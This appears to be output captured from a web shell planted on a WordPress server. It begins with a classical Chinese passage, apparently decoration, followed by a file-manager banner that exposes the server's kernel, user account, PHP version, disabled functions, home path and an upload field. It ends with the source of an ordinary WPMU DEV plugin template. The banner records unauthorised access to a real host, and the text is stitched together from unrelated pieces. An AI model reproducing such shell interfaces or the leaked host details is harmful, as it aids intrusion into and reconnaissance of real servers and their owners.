晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/wpmudev-updates/template/sui/ |
Upload File : |
<?php
// Skip if project-ID is invalid.
$pid = intval( $pid );
if ( ! $pid ) {
return;
}
$res = WPMUDEV_Dashboard::$site->get_project_info( $pid, true );
// Skip invalid projects.
if ( empty( $res->pid ) || empty( $res->name ) ) {
return;
}
// Skip hidden projects.
if ( $res->is_hidden ) {
return;
}
$hashes = array(
'project-activate' => wp_create_nonce( 'project-activate' ),
'project-deactivate' => wp_create_nonce( 'project-deactivate' ),
'project-install' => wp_create_nonce( 'project-install' ),
'project-delete' => wp_create_nonce( 'project-delete' ),
'project-update' => wp_create_nonce( 'project-update' ),
'project-upgrade' => wp_create_nonce( 'project-upgrade' ),
'project-download' => wp_create_nonce( 'project-download' ),
);
$main_action = array();
$actions = array();
$is_single_action = false;
$actions_icon = 'sui-icon-plus';
$main_action_class = 'sui-button-blue';
$show_num_install = false;
$num_install = 0;
$rounded_num_install = 0;
if ( ! $res->is_installed ) {
$is_single_action = true;
$show_num_install = true;
$num_install = (int) $res->downloads;
$rounded_num_install = $num_install;
if ( $num_install > 999 ) {
$rounded_num_install = ceil( ( $num_install / 1000 ) ) . 'k';
}
if ( $num_install > 999999 ) {
$rounded_num_install = ceil( ( $num_install / 1000000 ) ) . 'm';
}
/*
* Plugin is not installed yet.
* Possible Actions: Install, Download, Incompatible, Upgrade Membership.
*/
$actions_icon = 'sui-icon-plus';
if ( ! $res->is_licensed ) {
$actions = array(
'upgrade-membership' => array(
'name' => __( 'Upgrade Membership', 'wpmudev' ),
'url' => '#upgrade-membership',
'type' => 'modal',
'icon' => 'sui-wpmudev-logo',
'data' => array(
'action' => 'project-upgrade',
'hash' => $hashes['project-upgrade'],
'project' => $pid,
),
),
);
} elseif ( $res->is_compatible && $res->url->install ) {
$actions = array(
'install' => array(
'name' => __( 'Install', 'wpmudev' ),
'url' => $res->url->install,
'type' => 'modal-ajax',
'icon' => 'sui-icon-plus',
'data' => array(
'action' => 'project-install',
'hash' => $hashes['project-install'],
'project' => $pid,
),
),
);
} elseif ( $res->is_compatible ) {
$actions = array(
'download' => array(
'name' => '',
'url' => $res->url->download,
'type' => 'ajax',
'icon' => 'sui-icon-download',
'data' => array(
'action' => 'project-download',
'hash' => $hashes['project-download'],
'project' => $pid,
),
),
);
} else {
$actions = array(
'disabled' => array(
'name' => $res->incompatible_reason,
'url' => '#',
'type' => 'none',
'icon' => 'sui-icon-close',
'data' => array(
'action' => 'project-disabled',
'hash' => '',
'project' => $pid,
),
),
);
}
} else {
/*
* Plugin is installed.
* Possible Actions: Update, Activate, Deactivate, Install Upfront, Configure, Delete.
*/
$is_single_action = false;
$actions_icon = 'sui-icon-widget-settings-config';
// update always prioritized.
if ( $res->has_update ) {
$main_action = array(
'name' => __( 'Update', 'wpmudev' ),
'url' => '',
'type' => 'modal-ajax',
'icon' => '',
'data' => array(
'action' => 'project-update',
'hash' => $hashes['project-update'],
'project' => $pid,
),
);
$actions['update'] = array(
'name' => __( 'Update', 'wpmudev' ),
'url' => '',
'type' => 'modal-ajax',
'icon' => 'sui-icon-update',
'data' => array(
'action' => 'project-update',
'hash' => $hashes['project-update'],
'project' => $pid,
),
);
// activate/deactivate, configure, delete.
if ( $res->is_active ) {
$actions['deactivate'] = array(
'name' => ( $res->is_network_admin ? __( 'Network Deactivate', 'wpmudev' ) : __( 'Deactivate', 'wpmudev' ) ),
'url' => '#deactivate=' . $pid,
'type' => 'ajax',
'icon' => 'sui-icon-power-on-off',
'data' => array(
'action' => 'project-deactivate',
'hash' => $hashes['project-deactivate'],
'project' => $pid,
),
);
} else {
$actions['activate'] = array(
'name' => ( $res->is_network_admin ? __( 'Network Activate', 'wpmudev' ) : __( 'Activate', 'wpmudev' ) ),
'url' => '#activate=' . $pid,
'type' => 'ajax',
'icon' => 'sui-icon-power-on-off',
'data' => array(
'action' => 'project-activate',
'hash' => $hashes['project-activate'],
'project' => $pid,
),
);
}
if ( isset( $res->url->config ) && ! empty( $res->url->config ) ) {
$actions['configure'] = array(
'name' => __( 'Configure', 'wpmudev' ),
'url' => $res->url->config,
'type' => 'href',
'icon' => 'sui-icon-wrench-tool',
'data' => array(
'action' => 'project-configure',
'hash' => '',
'project' => $pid,
),
);
}
$actions['delete'] = array(
'name' => __( 'Delete', 'wpmudev' ),
'url' => '#',
'type' => 'ajax',
'icon' => 'sui-icon-trash',
'data' => array(
'action' => 'project-delete',
'hash' => $hashes['project-delete'],
'project' => $pid,
),
);
} elseif ( $res->special ) {
switch ( $res->special ) {
case 'dropin':
$main_action = array(
'name' => __( 'Dropin', 'wpmudev' ),
'url' => '#',
'type' => 'none',
'icon' => '',
'data' => array(
'action' => 'project-dropin',
'hash' => '',
'project' => $pid,
),
);
break;
case 'muplugin':
$main_action = array(
'name' => __( 'MU Plugin', 'wpmudev' ),
'url' => '#',
'type' => 'none',
'icon' => '',
'data' => array(
'action' => 'project-muplugin',
'hash' => '',
'project' => $pid,
),
);
break;
default:
break;
}
} elseif ( $res->is_active ) {
if ( isset( $res->url->config ) && ! empty( $res->url->config ) ) {
$main_action = array(
'name' => __( 'Configure', 'wpmudev' ),
'url' => $res->url->config,
'type' => 'href',
'icon' => 'sui-icon-wrench-tool',
'data' => array(
'action' => 'project-configure',
'hash' => '',
'project' => $pid,
),
);
$main_action_class = 'sui-button-ghost';
$actions['configure'] = array(
'name' => __( 'Configure', 'wpmudev' ),
'url' => $res->url->config,
'type' => 'href',
'icon' => 'sui-icon-wrench-tool',
'data' => array(
'action' => 'project-configure',
'hash' => '',
'project' => $pid,
),
);
}
$actions['deactivate'] = array(
'name' => ( $res->is_network_admin ? __( 'Network Deactivate', 'wpmudev' ) : __( 'Deactivate', 'wpmudev' ) ),
'url' => '#deactivate=' . $pid,
'type' => 'ajax',
'icon' => 'sui-icon-power-on-off',
'data' => array(
'action' => 'project-deactivate',
'hash' => $hashes['project-deactivate'],
'project' => $pid,
),
);
$actions['delete'] = array(
'name' => __( 'Delete', 'wpmudev' ),
'url' => '#',
'type' => 'href',
'icon' => 'sui-icon-trash',
'data' => array(
'action' => 'project-delete',
'hash' => $hashes['project-delete'],
'project' => $pid,
),
);
} else {
// activate
$main_action = array(
'name' => ( $res->is_network_admin ? __( 'Network Activate', 'wpmudev' ) : __( 'Activate', 'wpmudev' ) ),
'url' => '#activate=' . $pid,
'type' => 'ajax',
'icon' => '',
'data' => array(
'action' => 'project-activate',
'hash' => $hashes['project-activate'],
'project' => $pid,
),
);
$actions['activate'] = array(
'name' => ( $res->is_network_admin ? __( 'Network Activate', 'wpmudev' ) : __( 'Activate', 'wpmudev' ) ),
'url' => '#activate=' . $pid,
'type' => 'ajax',
'icon' => 'sui-icon-power-on-off',
'data' => array(
'action' => 'project-activate',
'hash' => $hashes['project-activate'],
'project' => $pid,
),
);
$actions['delete'] = array(
'name' => __( 'Delete', 'wpmudev' ),
'url' => '#',
'type' => 'href',
'icon' => 'sui-icon-trash',
'data' => array(
'action' => 'project-delete',
'hash' => $hashes['project-delete'],
'project' => $pid,
),
);
}
}
// Show special error and message if Upfront not installed
if ( $res->is_installed && $res->need_upfront ) {
if ( ! WPMUDEV_Dashboard::$site->is_upfront_installed() ) {
// This upfront theme needs Upfront parent to work!
echo "Upfront needed";
}
}
// PIC GALERY
$gallery_items = array();
if ( ! empty( $res->url->video ) ) {
$gallery_items[] = array(
'thumb' => $res->url->thumbnail,
// 'full' => $res->url->video,
'full' => $res->url->thumbnail,
'desc' => '',
'type' => 'video',
);
}
if ( is_array( $res->screenshots ) ) {
foreach ( $res->screenshots as $item ) {
$gallery_items[] = array(
'thumb' => $item['url'],
'full' => $item['url'],
'desc' => $item['desc'],
'type' => 'image',
);
}
}
if ( empty( $gallery_items ) ) {
$gallery_items[] = array(
'thumb' => $res->url->thumbnail,
'full' => $res->url->thumbnail,
'desc' => '',
'type' => 'image',
);
}
$slider_class = '';
if ( 1 === count( $gallery_items ) ) {
$slider_class = ' no-nav';
}
$has_features = false;
$features = array(
0 => array(),
1 => array(),
);
// chunk feature into 2
if ( is_array( $res->features ) && ! empty( $res->features ) ) {
$has_features = true;
$chunk_size = ceil( count( $res->features ) / 2 );
$features = array_chunk( $res->features, $chunk_size );
}
$attr = array(
'project' => $pid,
'licensed' => intval( $res->is_licensed ),
'installed' => intval( $res->is_installed ),
'has-update' => intval( $res->has_update ),
'is-compatible' => intval( $res->is_compatible ),
'active' => intval( $res->is_active ),
'order' => intval( $res->default_order ),
'popularity' => $res->popularity,
'downloads' => $res->downloads,
'released' => $res->release_stamp,
'updated' => $res->update_stamp,
'type' => $res->type,
'name' => esc_html( $res->name ),
'info' => esc_html( $res->info ),
);
foreach ( $res->tags as $tid => $plugin_tag ) {
$attr[ 'plugin-tag-' . $tid ] = 1;
}
?>
<p id="dialogDescription<?php echo esc_html( $pid ); ?>2"><?php echo esc_html( $res->info ); ?></p>
<div class="sui-tabs sui-tabs-flushed"
style="margin-top: 0 !important; border-top: 1px solid #E6E6E6;">
<div data-tabs="">
<div class="active" data-index="overview"><?php esc_html_e( 'Overview', 'wpmudev' ); ?></div>
<div class="" data-index="features"><?php esc_html_e( 'Features', 'wpmudev' ); ?></div>
<div class="" data-index="changelog"><?php esc_html_e( 'Changelog', 'wpmudev' ); ?></div>
</div>
<div data-panes="">
<?php
// TAB: Overview ?>
<div class="sui-tab-content active" data-index="overview">
<div class="dashui-slider<?php echo esc_attr( $slider_class ); ?>"
aria-hidden="true">
<ul class="dashui-slider-main">
<?php foreach ( $gallery_items as $key => $item ) : ?>
<li class="item-<?php echo esc_attr( $key ); ?> <?php echo esc_attr( $item['type'] ); ?>"
data-full="<?php echo esc_url( $item['full'] ); ?>">
<?php if ( ! empty( $item['desc'] ) ) { ?>
<img src="<?php echo esc_url( $item['full'] ); ?>"
alt="<?php echo esc_html( $item['desc'] ); ?>" />
<?php } else { ?>
<img src="<?php echo esc_url( $item['full'] ); ?>" />
<?php } ?>
</li>
<?php endforeach; ?>
</ul>
<div class="dashui-slider-nav slider-nav-wrapper">
<button class="dashui-slider-nav-left">
<i class="sui-icon-chevron-left" aria-hidden="true"></i>
</button>
<div class="dashui-slider-nav-items">
<ul class="slider-nav">
<?php foreach ( $gallery_items as $key => $item ) : ?>
<li class="<?php echo esc_attr( $item['type'] ); ?> <?php echo esc_attr( ( ! $key ? 'current' : '' ) ); ?>"
data-key="item-<?php echo esc_attr( $key ); ?>"
data-full="<?php echo esc_url( $item['full'] ); ?>">
<span style="background-image: url(<?php echo esc_url( $item['thumb'] ); ?>);"></span>
</li>
<?php endforeach; ?>
</ul>
</div>
<button class="dashui-slider-nav-right">
<i class="sui-icon-chevron-right" aria-hidden="true"></i>
</button>
</div>
</div>
<p class="dashui-slider-notice">
<a href="<?php echo esc_url( $res->url->website ); ?>"
target="_blank">
<?php esc_html_e( 'View more information on WPMU DEV', 'wpmudev' ); ?>
<i aria-hidden="true" class="sui-icon-arrow-right"></i>
</a>
</p>
</div>
<?php
// TAB: Features ?>
<div data-index="features">
<?php if ( $has_features ) : ?>
<div class="sui-row">
<?php foreach ( $features as $group => $feature ) : ?>
<div class="sui-col-md-6">
<ul class="dashui-features-list"><?php foreach ( $feature as $item ) : ?>
<li>
<i class="sui-icon-check" aria-hidden="true"></i>
<?php echo esc_html( $item ); ?>
</li>
<?php endforeach; ?></ul>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
<p class="dashui-slider-notice">
<a href="<?php echo esc_url( $res->url->website ); ?>"
target="_blank">
<?php esc_html_e( 'View more information on WPMU DEV', 'wpmudev' ); ?>
<i aria-hidden="true" class="sui-icon-arrow-right"></i>
</a>
</p>
</div>
<?php
// TAB: Changelog ?>
<div data-index="changelog">
<?php
$i = 1;
$max_changelog = 3;
foreach ( $res->changelog as $log ) : ?>
<?php if ( $i > $max_changelog ) {
break;
} ?>
<?php if ( is_array( $log ) && ! empty( $log ) ) : ?>
<?php
$version = $log['version'];
$badges = array(
array(
'class' => 'sui-tag sui-tag-purple',
'text' => $version,
),
);
if ( $res->is_installed ) {
// -1 .. local is higher (dev) | 0 .. equal | 1 .. new version available
$version_check = version_compare( $version, $res->version_installed );
if ( 0 === $version_check ) {
$badges [] = array(
'class' => 'sui-tag sui-tag-default',
'text' => __( 'Current', 'wpmudev' ),
);
} elseif ( 1 === $version_check ) {
$badges [] = array(
'class' => 'sui-tag sui-tag-green',
'text' => __( 'New', 'wpmudev' ),
);
}
}
$rel_date = '';
if ( ! empty( $log['time'] ) ) {
$rel_date = date_i18n( get_option( 'date_format' ), $log['time'] );
} ?>
<div class="sui-box-settings-row sui-flushed">
<div class="sui-box-settings-col-2">
<div class="dashui-changelog-version">
<?php foreach ( $badges as $badge ) {
if ( 'sui-tag sui-tag-purple' === $badge['class'] ) { ?>
<span class="<?php echo esc_attr( $badge['class'] ); ?>"><?php esc_html_e( 'Version', 'wpmudev' ); ?> <?php echo esc_html( $badge['text'] ); ?></span>
<?php } else { ?>
<span class="<?php echo esc_attr( $badge['class'] ); ?>"><?php echo esc_html( $badge['text'] ); ?></span>
<?php }
} ?>
<div class="sui-actions-right">
<span class="sui-changelog-date"><?php echo esc_html( $rel_date ); ?></span>
</div>
</div>
<?php
// Changelogs
$notes = explode( "\n", $log['log'] ); ?>
<ul class="dashui-changelog-list"><?php foreach ( $notes as $note ) : ?>
<?php
$note = stripslashes( $note );
$note = preg_replace( '/(<br ?\/?>|<p>|<\/p>)/', '', $note );
$note = trim( preg_replace( '/^\s*(\*|\-)\s*/', '', $note ) );
$note = str_replace( array( '<', '>' ), array( '<', '>' ), $note );
$note = preg_replace( '/`(.*?)`/', '<code>\1</code>', $note );
if ( empty( $note ) ) {
continue;
} ?>
<li><?php echo wp_kses_post( $note ); ?></li>
<?php endforeach; ?></ul>
</div>
</div>
<?php $i ++; ?>
<?php endif; ?>
<?php endforeach; ?>
<p class="dashui-slider-notice">
<a href="<?php echo esc_url( $res->url->website ); ?>"
target="_blank">
<?php esc_html_e( 'View more information on WPMU DEV', 'wpmudev' ); ?>
<i aria-hidden="true" class="sui-icon-arrow-right"></i>
</a>
</p>
</div>
</div>
</div>